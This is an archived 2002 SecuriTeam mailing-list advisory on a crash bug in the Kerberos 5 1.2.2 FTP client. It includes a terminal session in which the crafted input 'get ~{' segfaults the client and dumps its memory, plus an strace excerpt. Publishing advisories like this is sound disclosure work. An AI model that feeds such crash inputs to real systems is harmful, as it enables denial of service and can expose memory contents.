

[UNIX] Kerberos 5 Core Dump Security Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0092.html>

From: support@securiteam.com

Date: 01/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 17 Jan 2002 09:13:01 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Kerberos 5 Core Dump Security Vulnerability

SUMMARY

Kerberos 5's FTP client (with enabled Kerberos Authentication) has been contains a security vulnerability that allows local attackers to cause it to crash, core dumping its memory's content.

DETAILS

Vulnerable systems:

Kerberos 5 version 1.2.2

A problem exists in the FTP client provided by Kerberos 5. A request like 'get {' would cause it to crash, core dumping its memory's content.

Example:

```
# ftp localhost
```

```
Connected to localhost.localdomain.
```

```
220 testbox.something.com FTP server (Version wu-2.6.1-16.7x.1) ready.
```

```
530 Please login with USER and PASS.
```

```
530 Please login with USER and PASS.
```

```
KERBEROS_V4 rejected as an authentication type
```

```
Name (localhost:user1): anonymous
```

Securiteam: [UNIX] Kerberos 5 Core Dump Security Vulnerability

331 Guest login ok, send your complete e-mail address as password.

Password:

230 Guest login ok, access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> get ~{

remote: ~{

Segmentation fault

Strace:

```
read(0, get ~{ "get ~{\n", 1024) = 7
write(1, "remote: ~{\n", 11remote: ~{) = 11
rt_sigaction(SIGINT, {0x8053070, [INT], SA_RESTART|0x4000000},
{0x80576b0, [INT], SA_RESTART|0x4000000}, 8) = 0
---- SIGSEGV (Segmentation fault) ----
+++ killed by SIGSEGV +++
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:replugge@alcoholico.org>>
Replugge [Rod].

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[EXPL] Eterm SGID 'utmp' Local Buffer Overflow"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)